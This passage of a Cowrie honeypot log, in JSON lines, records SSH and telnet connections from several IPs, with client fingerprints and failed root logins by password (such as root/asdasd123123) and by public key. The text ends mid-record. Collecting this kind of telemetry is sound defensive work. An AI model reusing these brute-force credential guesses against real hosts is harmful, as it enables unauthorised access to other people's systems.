{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:03.059778Z","src_ip":"209.99.184.143","session":"250e2d84308f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd123123","message":"login attempt [root/asdasd123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:03.459516Z","src_ip":"209.99.184.143","session":"250e2d84308f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:04.554022Z","src_ip":"209.99.184.143","session":"250e2d84308f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":60458,"dst_ip":"159.203.135.109","dst_port":22,"session":"906f56396a22","protocol":"ssh","message":"New connection: 103.91.246.101:60458 (159.203.135.109:22) [session: 906f56396a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:16.120478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:16.127329Z","src_ip":"103.91.246.101","session":"906f56396a22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:16.363987Z","src_ip":"103.91.246.101","session":"906f56396a22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kv123","message":"login attempt [root/kv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:17.337642Z","src_ip":"103.91.246.101","session":"906f56396a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:18.580207Z","src_ip":"103.91.246.101","session":"906f56396a22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":58728,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ba630bb61f5","protocol":"ssh","message":"New connection: 171.244.141.86:58728 (159.203.135.109:22) [session: 2ba630bb61f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:33.744210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:33.749218Z","src_ip":"171.244.141.86","session":"2ba630bb61f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:33.999030Z","src_ip":"171.244.141.86","session":"2ba630bb61f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deepspeed","message":"login attempt [root/deepspeed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:35.026808Z","src_ip":"171.244.141.86","session":"2ba630bb61f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:38:36.281256Z","src_ip":"171.244.141.86","session":"2ba630bb61f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.245","src_port":49872,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cb219d77af0","protocol":"ssh","message":"New connection: 179.61.232.245:49872 (10.17.0.5:22) [session: 1cb219d77af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.204401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.209316Z","src_ip":"179.61.232.245","session":"1cb219d77af0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.237958Z","src_ip":"179.61.232.245","session":"1cb219d77af0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:ee:74:6c:46:ad:26:80:e7:8d:fa:cb:35:d2:e5:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQdwao+FNwr4Qvezoif9rl2sOjcNm/CrsFQWgcvSMVx6TEzy2X5LFQGITZxK60nI7joRS9EiiyPjtzK8VQuP3N5DUeeXvMPnRyRrCbXmTAIBH8lLO8sRW6jG//8V9bWt3kO5SDTBnZY1r50p6k6UXKUhiw5kAqA7IhXZ/sQNtfRyrRcWnm+hu3SIB4fWrTRNl94tQWz/BIoSG35aJUXvDi7JegKWpdFpfrwwYAqSowxG9XsIuiYcpiLa/mF65Mg2NnowkHjr+WmUG3WqD4JSmVZ/xnk4pcLm3rZKMdBc5BoIevwhBoHhPl+/Oq7/FEugPlN1arEkV+rWYnOqQ5k1fr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:ee:74:6c:46:ad:26:80:e7:8d:fa:cb:35:d2:e5:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.355058Z","src_ip":"179.61.232.245","session":"1cb219d77af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:ee:74:6c:46:ad:26:80:e7:8d:fa:cb:35:d2:e5:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQdwao+FNwr4Qvezoif9rl2sOjcNm/CrsFQWgcvSMVx6TEzy2X5LFQGITZxK60nI7joRS9EiiyPjtzK8VQuP3N5DUeeXvMPnRyRrCbXmTAIBH8lLO8sRW6jG//8V9bWt3kO5SDTBnZY1r50p6k6UXKUhiw5kAqA7IhXZ/sQNtfRyrRcWnm+hu3SIB4fWrTRNl94tQWz/BIoSG35aJUXvDi7JegKWpdFpfrwwYAqSowxG9XsIuiYcpiLa/mF65Mg2NnowkHjr+WmUG3WqD4JSmVZ/xnk4pcLm3rZKMdBc5BoIevwhBoHhPl+/Oq7/FEugPlN1arEkV+rWYnOqQ5k1fr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.359767Z","src_ip":"179.61.232.245","session":"1cb219d77af0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:97:b9:9a:a5:71:a0:6a:96:0f:3d:3d:8b:2d:82:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwLP4waUAmhmhHdhupNh956bmuTecWJkrEi+chaBJE77UFtRFEA2Knoxnm3kRbwQXjmibCDOfGAHSc1ebcRCnYRsQH4Gxsxt3N07By2xbU42NUxRiXwFsy0hmxssnC69fqrK7F+t/TKyrXXLuk23j4WcdcTFB5UpPTLQt5kxPDsLDjKY1zXFVOEg2H04TGmzdRzp6uVv+iAnSAGxgfiUo4wWlOZBuGPv3ynTdgOdLNyWYcJPTwXz6X2VSH86jdzGQWcbgMYrRSSUOXBYNwzPNrsQjimEBXiZvN0zVnWIG1CH3NbfkFliSAbnY8eq8KhyBu2sOKBNyLAA0pZjDE+hgd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:97:b9:9a:a5:71:a0:6a:96:0f:3d:3d:8b:2d:82:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.388986Z","src_ip":"179.61.232.245","session":"1cb219d77af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:97:b9:9a:a5:71:a0:6a:96:0f:3d:3d:8b:2d:82:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwLP4waUAmhmhHdhupNh956bmuTecWJkrEi+chaBJE77UFtRFEA2Knoxnm3kRbwQXjmibCDOfGAHSc1ebcRCnYRsQH4Gxsxt3N07By2xbU42NUxRiXwFsy0hmxssnC69fqrK7F+t/TKyrXXLuk23j4WcdcTFB5UpPTLQt5kxPDsLDjKY1zXFVOEg2H04TGmzdRzp6uVv+iAnSAGxgfiUo4wWlOZBuGPv3ynTdgOdLNyWYcJPTwXz6X2VSH86jdzGQWcbgMYrRSSUOXBYNwzPNrsQjimEBXiZvN0zVnWIG1CH3NbfkFliSAbnY8eq8KhyBu2sOKBNyLAA0pZjDE+hgd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.397789Z","src_ip":"179.61.232.245","session":"1cb219d77af0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:96:d4:15:2d:e0:80:6b:d2:a0:1c:b4:3d:d9:71:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCti4yBjg4OsuI1rtlX/bRQngWwe/clmuQd0vEgj6YBANxF7+GBC3kn11tWYs8semdSwYbZsT2gVNxHze2AmIAONKu4SE/+1ATfUkN1Wc4qpVYLzXqLcuaoetFgdYyYe2X8CS8bPkJa3LXtdBp3VtR0q1/mqhIXZkucTQjPqxZsXP5SUVfGIIgc2XQ4QHUJnAwHNC7VQ+8NX9ctVWyjfxTEvBdpX8AYADKYqmqG6bP6djwqtRElIW74Pe7CghbE7Vrv5VAAifIu6+lM+vnMey/0YMgH9YrRW1nFR/jA2iQu4SdKAFIcsi202gTbBL8DAEK1DFJbUzmx9V/7gklzMB55j6jy6lpAFcHhn4uIBYo9u8mTJIKy5vAkQ57bQKGmT/edo1fea8hTWFMoOjAmI7UOz6Xp4qMvMTV+IvWoLxEFbQnD83iRmzTIUe6rlMje6oCQ1DFSY4diiNjW5tq3eLhy4jkCg9MWb9TshqZEmgpm7zVizLQk7y8zfq42HLj4kqSFZdO6e1Dw0hE6hGjrshxGyIYpxZXxzGvS93+WR57CTr6BYNGwUYCGXmCUApTUtQ5gk/q0uN32GcRo5Vt5qFys8xpO93/y/Q5j6Rt+YpN6L7FzyMfx/zO8cWd9CZp9i/38a3s3ugjJ9DGE556Ayx1C52fPuh6QSg1wiFTvBxaTow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:96:d4:15:2d:e0:80:6b:d2:a0:1c:b4:3d:d9:71:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.427377Z","src_ip":"179.61.232.245","session":"1cb219d77af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:96:d4:15:2d:e0:80:6b:d2:a0:1c:b4:3d:d9:71:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCti4yBjg4OsuI1rtlX/bRQngWwe/clmuQd0vEgj6YBANxF7+GBC3kn11tWYs8semdSwYbZsT2gVNxHze2AmIAONKu4SE/+1ATfUkN1Wc4qpVYLzXqLcuaoetFgdYyYe2X8CS8bPkJa3LXtdBp3VtR0q1/mqhIXZkucTQjPqxZsXP5SUVfGIIgc2XQ4QHUJnAwHNC7VQ+8NX9ctVWyjfxTEvBdpX8AYADKYqmqG6bP6djwqtRElIW74Pe7CghbE7Vrv5VAAifIu6+lM+vnMey/0YMgH9YrRW1nFR/jA2iQu4SdKAFIcsi202gTbBL8DAEK1DFJbUzmx9V/7gklzMB55j6jy6lpAFcHhn4uIBYo9u8mTJIKy5vAkQ57bQKGmT/edo1fea8hTWFMoOjAmI7UOz6Xp4qMvMTV+IvWoLxEFbQnD83iRmzTIUe6rlMje6oCQ1DFSY4diiNjW5tq3eLhy4jkCg9MWb9TshqZEmgpm7zVizLQk7y8zfq42HLj4kqSFZdO6e1Dw0hE6hGjrshxGyIYpxZXxzGvS93+WR57CTr6BYNGwUYCGXmCUApTUtQ5gk/q0uN32GcRo5Vt5qFys8xpO93/y/Q5j6Rt+YpN6L7FzyMfx/zO8cWd9CZp9i/38a3s3ugjJ9DGE556Ayx1C52fPuh6QSg1wiFTvBxaTow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.432256Z","src_ip":"179.61.232.245","session":"1cb219d77af0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:bb:cb:e6:24:12:92:89:18:58:fa:6e:77:70:f6:84","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKL9xtKdB/Yx7nKtiCr7Q6puhZkUC94t3hcYPaEwERc82wPOqJDPK0ooyun2y4pXECX4dNsLjV7hrM5frHSd7wlmIhKdVuXTzJ9NFA9NBLpb/V+/XHul+t8JfNkahYEsaDeAPbBuKj+hm7wSLSOa3gwzk1AwlXTb8Z+/XDPv/h7TAAAAFQCIR5eejovdBxCbdbBuU1FmfCbP7QAAAIBsEMGVJMCojjeGo41WPUqedUyaGRYqhmuYvnUvHcodo2/HT0esoedgtCCsJvLtV6u1d0TYZ62RP+WVVnBV1/CsqaxYX9tUHbkfDScMV4r7cKwcenIjquryVHKA7f0QPqnj24OwFUEikNyRQa4RPHCQZ3KtdXlO19bDaB2RZ+zkIgAAAIAEiXu0SDTtntkD+WQ2FA/0NssScqRcYylfF9XyqmBFOyps8VOzKh17Hjax5x9GASRSFoEIkatsfR1NfYUCZqkNg7hx29uxP7AEChDtNHPokCD3Vy1F/QStR3Su7QLLdvp5KlAIbjnp74OJHXI/fSmfLBD0ep7970wvITPIYm/n0A==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b9:bb:cb:e6:24:12:92:89:18:58:fa:6e:77:70:f6:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.462036Z","src_ip":"179.61.232.245","session":"1cb219d77af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:bb:cb:e6:24:12:92:89:18:58:fa:6e:77:70:f6:84","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKL9xtKdB/Yx7nKtiCr7Q6puhZkUC94t3hcYPaEwERc82wPOqJDPK0ooyun2y4pXECX4dNsLjV7hrM5frHSd7wlmIhKdVuXTzJ9NFA9NBLpb/V+/XHul+t8JfNkahYEsaDeAPbBuKj+hm7wSLSOa3gwzk1AwlXTb8Z+/XDPv/h7TAAAAFQCIR5eejovdBxCbdbBuU1FmfCbP7QAAAIBsEMGVJMCojjeGo41WPUqedUyaGRYqhmuYvnUvHcodo2/HT0esoedgtCCsJvLtV6u1d0TYZ62RP+WVVnBV1/CsqaxYX9tUHbkfDScMV4r7cKwcenIjquryVHKA7f0QPqnj24OwFUEikNyRQa4RPHCQZ3KtdXlO19bDaB2RZ+zkIgAAAIAEiXu0SDTtntkD+WQ2FA/0NssScqRcYylfF9XyqmBFOyps8VOzKh17Hjax5x9GASRSFoEIkatsfR1NfYUCZqkNg7hx29uxP7AEChDtNHPokCD3Vy1F/QStR3Su7QLLdvp5KlAIbjnp74OJHXI/fSmfLBD0ep7970wvITPIYm/n0A==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.466880Z","src_ip":"179.61.232.245","session":"1cb219d77af0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:87:72:e3:c2:82:c6:79:b3:2b:5f:1d:73:63:52:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTAjSLSxsqp2E++u1H6XG5WIW3QaCTl1G+J1+YwZKAMWJVK6Y0YMLuJe9NLORXYt04qUgxgtCkewWYjbZHZz3DQJuIuuMa7O+rB8+22Bv2JXuuSK5d6IDWyEArJvuHBZEGrvYjanbyWK1Qtn0SVGn0hN+BW87Gm1IIth5DCwEEshkNPkPg2WFqucjvDl7SJweTTJKyXF6oDykyld2eAxPDvwS3r2/yPXVWqcmsZLSzgdGj6YsZxdyVkRI6UUZm4A9IltiPZJEP8pSPcXjHFb1PNMNjpHhfgcoDnZsTFDBtOVeKqi/TIa2DaxWHvCuK5w6KzcjNGw12nuk5Je9UjfhZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:87:72:e3:c2:82:c6:79:b3:2b:5f:1d:73:63:52:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.496810Z","src_ip":"179.61.232.245","session":"1cb219d77af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:87:72:e3:c2:82:c6:79:b3:2b:5f:1d:73:63:52:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTAjSLSxsqp2E++u1H6XG5WIW3QaCTl1G+J1+YwZKAMWJVK6Y0YMLuJe9NLORXYt04qUgxgtCkewWYjbZHZz3DQJuIuuMa7O+rB8+22Bv2JXuuSK5d6IDWyEArJvuHBZEGrvYjanbyWK1Qtn0SVGn0hN+BW87Gm1IIth5DCwEEshkNPkPg2WFqucjvDl7SJweTTJKyXF6oDykyld2eAxPDvwS3r2/yPXVWqcmsZLSzgdGj6YsZxdyVkRI6UUZm4A9IltiPZJEP8pSPcXjHFb1PNMNjpHhfgcoDnZsTFDBtOVeKqi/TIa2DaxWHvCuK5w6KzcjNGw12nuk5Je9UjfhZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.501217Z","src_ip":"179.61.232.245","session":"1cb219d77af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:37.530567Z","src_ip":"179.61.232.245","session":"1cb219d77af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57818,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c2eacb8f2bd","protocol":"telnet","message":"New connection: 192.119.13.58:57818 (10.17.0.5:23) [session: 1c2eacb8f2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:43.054352Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":53730,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed79fa7100c0","protocol":"ssh","message":"New connection: 171.244.141.86:53730 (159.203.135.109:22) [session: ed79fa7100c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:52.798960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:39:52.803733Z","src_ip":"171.244.141.86","session":"ed79fa7100c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-e